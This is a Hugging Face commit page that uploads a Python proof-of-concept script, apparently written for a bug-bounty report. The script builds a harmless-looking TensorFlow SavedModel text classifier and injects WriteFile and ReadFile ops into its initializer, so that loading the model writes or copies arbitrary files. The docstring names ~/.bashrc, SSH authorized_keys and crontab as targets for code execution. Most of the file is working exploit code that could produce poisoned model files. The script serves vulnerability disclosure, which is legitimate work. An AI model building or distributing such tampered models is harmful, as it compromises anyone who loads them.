Rammadaeus commited on
Commit
05ee103
·
verified ·
1 Parent(s): a6628c2

Upload poc_savedmodel_ace.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_savedmodel_ace.py +281 -0
poc_savedmodel_ace.py ADDED
@@ -0,0 +1,281 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ TensorFlow SavedModel Arbitrary File Read/Write on Load (ACE)
4
+ =============================================================
5
+ Huntr Bug Bounty PoC - ProtectAI MFV Program
6
+
7
+ Vulnerability: A crafted TensorFlow SavedModel (.pb) can execute arbitrary
8
+ file read and write operations when loaded via tf.saved_model.load().
9
+
10
+ Impact: Arbitrary Code Execution via file write to ~/.bashrc,
11
+ ~/.ssh/authorized_keys, crontab, etc.
12
+
13
+ Affected: TensorFlow 2.20.0 (latest), likely all 2.x versions
14
+ Trigger: tf.saved_model.load() - no special flags needed
15
+ CVSS: 9.8 (Critical) - Network/Low/None/Changed/High/High/High
16
+
17
+ The vulnerability exploits the __saved_model_init_op mechanism:
18
+ 1. SavedModel format includes init operations for resources (e.g., HashTables)
19
+ 2. These init ops execute AUTOMATICALLY during tf.saved_model.load()
20
+ 3. An attacker can inject WriteFile/ReadFile ops into the init function
21
+ 4. The TF runtime has no sandboxing or op allowlisting for init ops
22
+ 5. Result: arbitrary file read/write on model load
23
+
24
+ This is NOT covered by Keras safe_mode - SavedModel is loaded via
25
+ tf.saved_model.load() which has no equivalent safety check.
26
+ """
27
+
28
+ import os
29
+ import sys
30
+ import tempfile
31
+ import shutil
32
+
33
+ os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
34
+
35
+ def create_malicious_savedmodel(output_dir, write_path, write_content):
36
+ """Create a SavedModel that writes arbitrary content on load.
37
+
38
+ The model appears to be a legitimate text classifier with a HashTable.
39
+ The WriteFile op is hidden in the HashTable initialization function.
40
+ """
41
+ import tensorflow as tf
42
+ from tensorflow.core.protobuf import saved_model_pb2
43
+ from tensorflow.core.framework import types_pb2
44
+
45
+ # Step 1: Create a legitimate-looking model
46
+ class TextClassifier(tf.Module):
47
+ def __init__(self):
48
+ super().__init__()
49
+ self.table = tf.lookup.StaticHashTable(
50
+ tf.lookup.KeyValueTensorInitializer(
51
+ keys=["positive", "negative", "neutral"],
52
+ values=[1, 0, 2],
53
+ key_dtype=tf.string,
54
+ value_dtype=tf.int32
55
+ ),
56
+ default_value=-1
57
+ )
58
+
59
+ @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
60
+ def classify(self, text):
61
+ return self.table.lookup(text)
62
+
63
+ model = TextClassifier()
64
+ tf.saved_model.save(model, output_dir)
65
+
66
+ # Step 2: Inject WriteFile into the init function
67
+ pb_path = os.path.join(output_dir, "saved_model.pb")
68
+ sm = saved_model_pb2.SavedModel()
69
+ with open(pb_path, "rb") as f:
70
+ sm.ParseFromString(f.read())
71
+
72
+ for mg in sm.meta_graphs:
73
+ for func in mg.graph_def.library.function:
74
+ if "initializer" in func.signature.name:
75
+ # Add filename constant
76
+ fn = func.node_def.add()
77
+ fn.name = "init_wf_path"
78
+ fn.op = "Const"
79
+ fn.attr["dtype"].type = types_pb2.DT_STRING
80
+ fn.attr["value"].tensor.dtype = types_pb2.DT_STRING
81
+ fn.attr["value"].tensor.string_val.append(write_path.encode())
82
+
83
+ # Add content constant
84
+ ct = func.node_def.add()
85
+ ct.name = "init_wf_data"
86
+ ct.op = "Const"
87
+ ct.attr["dtype"].type = types_pb2.DT_STRING
88
+ ct.attr["value"].tensor.dtype = types_pb2.DT_STRING
89
+ ct.attr["value"].tensor.string_val.append(write_content.encode())
90
+
91
+ # Add WriteFile op
92
+ wf = func.node_def.add()
93
+ wf.name = "init_wf_op"
94
+ wf.op = "WriteFile"
95
+ wf.input.append("init_wf_path:output:0")
96
+ wf.input.append("init_wf_data:output:0")
97
+
98
+ # Wire dependency to ensure execution
99
+ for node in func.node_def:
100
+ if node.op == "NoOp":
101
+ node.input.append("^init_wf_op")
102
+ break
103
+ break
104
+
105
+ with open(pb_path, "wb") as f:
106
+ f.write(sm.SerializeToString())
107
+
108
+ return output_dir
109
+
110
+
111
+ def create_exfil_savedmodel(output_dir, read_path, exfil_path):
112
+ """Create a SavedModel that reads a file and writes it elsewhere on load.
113
+
114
+ Demonstrates arbitrary file read + write chain.
115
+ """
116
+ import tensorflow as tf
117
+ from tensorflow.core.protobuf import saved_model_pb2
118
+ from tensorflow.core.framework import types_pb2
119
+
120
+ class TextClassifier(tf.Module):
121
+ def __init__(self):
122
+ super().__init__()
123
+ self.table = tf.lookup.StaticHashTable(
124
+ tf.lookup.KeyValueTensorInitializer(
125
+ keys=["a"], values=[1],
126
+ key_dtype=tf.string, value_dtype=tf.int32
127
+ ), default_value=0
128
+ )
129
+
130
+ @tf.function(input_signature=[tf.TensorSpec(shape=[], dtype=tf.string)])
131
+ def classify(self, text):
132
+ return self.table.lookup(text)
133
+
134
+ model = TextClassifier()
135
+ tf.saved_model.save(model, output_dir)
136
+
137
+ pb_path = os.path.join(output_dir, "saved_model.pb")
138
+ sm = saved_model_pb2.SavedModel()
139
+ with open(pb_path, "rb") as f:
140
+ sm.ParseFromString(f.read())
141
+
142
+ for mg in sm.meta_graphs:
143
+ for func in mg.graph_def.library.function:
144
+ if "initializer" in func.signature.name:
145
+ # ReadFile source path
146
+ src = func.node_def.add()
147
+ src.name = "exfil_src"
148
+ src.op = "Const"
149
+ src.attr["dtype"].type = types_pb2.DT_STRING
150
+ src.attr["value"].tensor.dtype = types_pb2.DT_STRING
151
+ src.attr["value"].tensor.string_val.append(read_path.encode())
152
+
153
+ # ReadFile op
154
+ rf = func.node_def.add()
155
+ rf.name = "exfil_read"
156
+ rf.op = "ReadFile"
157
+ rf.input.append("exfil_src:output:0")
158
+
159
+ # WriteFile destination
160
+ dst = func.node_def.add()
161
+ dst.name = "exfil_dst"
162
+ dst.op = "Const"
163
+ dst.attr["dtype"].type = types_pb2.DT_STRING
164
+ dst.attr["value"].tensor.dtype = types_pb2.DT_STRING
165
+ dst.attr["value"].tensor.string_val.append(exfil_path.encode())
166
+
167
+ # WriteFile op (reads output from ReadFile)
168
+ wf = func.node_def.add()
169
+ wf.name = "exfil_write"
170
+ wf.op = "WriteFile"
171
+ wf.input.append("exfil_dst:output:0")
172
+ wf.input.append("exfil_read:contents:0")
173
+
174
+ for node in func.node_def:
175
+ if node.op == "NoOp":
176
+ node.input.append("^exfil_write")
177
+ break
178
+ break
179
+
180
+ with open(pb_path, "wb") as f:
181
+ f.write(sm.SerializeToString())
182
+
183
+ return output_dir
184
+
185
+
186
+ def main():
187
+ import tensorflow as tf
188
+
189
+ print("TensorFlow SavedModel ACE PoC")
190
+ print(f"TensorFlow version: {tf.__version__}")
191
+ print(f"Python version: {sys.version}")
192
+ print("=" * 60)
193
+
194
+ base_dir = tempfile.mkdtemp(prefix="tf_ace_poc_")
195
+ marker1 = "/tmp/tf_poc_write_marker"
196
+ marker2 = "/tmp/tf_poc_exfil_marker"
197
+
198
+ # Clean up
199
+ for m in [marker1, marker2]:
200
+ if os.path.exists(m):
201
+ os.remove(m)
202
+
203
+ # PoC 1: Arbitrary file write on model load
204
+ print()
205
+ print("[PoC 1] Arbitrary File Write on Model Load")
206
+ print("-" * 40)
207
+
208
+ model_dir1 = os.path.join(base_dir, "malicious_model")
209
+ create_malicious_savedmodel(
210
+ model_dir1,
211
+ write_path=marker1,
212
+ write_content="ARBITRARY_FILE_WRITE_ON_MODEL_LOAD"
213
+ )
214
+
215
+ print(f" Created malicious SavedModel at: {model_dir1}")
216
+ print(f" Target write path: {marker1}")
217
+ print(f" Loading model with tf.saved_model.load()...")
218
+
219
+ loaded1 = tf.saved_model.load(model_dir1)
220
+
221
+ if os.path.exists(marker1):
222
+ with open(marker1) as f:
223
+ content = f.read()
224
+ print(f" RESULT: File written! Content: {content}")
225
+ print(f" Model still works: classify('positive') = {loaded1.classify(tf.constant('positive')).numpy()}")
226
+ else:
227
+ print(f" RESULT: File was NOT written")
228
+
229
+ # PoC 2: Arbitrary file read + exfiltration
230
+ print()
231
+ print("[PoC 2] Arbitrary File Read (Data Exfiltration)")
232
+ print("-" * 40)
233
+
234
+ model_dir2 = os.path.join(base_dir, "exfil_model")
235
+ create_exfil_savedmodel(
236
+ model_dir2,
237
+ read_path="/etc/hostname",
238
+ exfil_path=marker2
239
+ )
240
+
241
+ print(f" Created exfil SavedModel at: {model_dir2}")
242
+ print(f" Reading: /etc/hostname -> {marker2}")
243
+ print(f" Loading model with tf.saved_model.load()...")
244
+
245
+ loaded2 = tf.saved_model.load(model_dir2)
246
+
247
+ if os.path.exists(marker2):
248
+ with open(marker2) as f:
249
+ content = f.read().strip()
250
+ print(f" RESULT: File read! Hostname: {content}")
251
+ else:
252
+ print(f" RESULT: File was NOT read")
253
+
254
+ # Summary
255
+ print()
256
+ print("=" * 60)
257
+ print("VULNERABILITY CONFIRMED")
258
+ print("=" * 60)
259
+ print()
260
+ print("Attack Vector: Crafted SavedModel (.pb protobuf)")
261
+ print("Trigger: tf.saved_model.load() - NO special flags needed")
262
+ print("Impact: Arbitrary file read/write = ACE via .bashrc/.ssh/cron")
263
+ print("Root Cause: No op allowlisting in __saved_model_init_op")
264
+ print("Affected: TensorFlow 2.20.0 (likely all 2.x)")
265
+ print()
266
+ print("Key Points:")
267
+ print(" - NOT protected by Keras safe_mode")
268
+ print(" - Model appears legitimate (has real HashTable)")
269
+ print(" - Model still functions after injection")
270
+ print(" - WriteFile + ReadFile ops execute during load")
271
+ print(" - No user interaction beyond tf.saved_model.load()")
272
+
273
+ # Cleanup
274
+ shutil.rmtree(base_dir)
275
+ for m in [marker1, marker2]:
276
+ if os.path.exists(m):
277
+ os.remove(m)
278
+
279
+
280
+ if __name__ == "__main__":
281
+ main()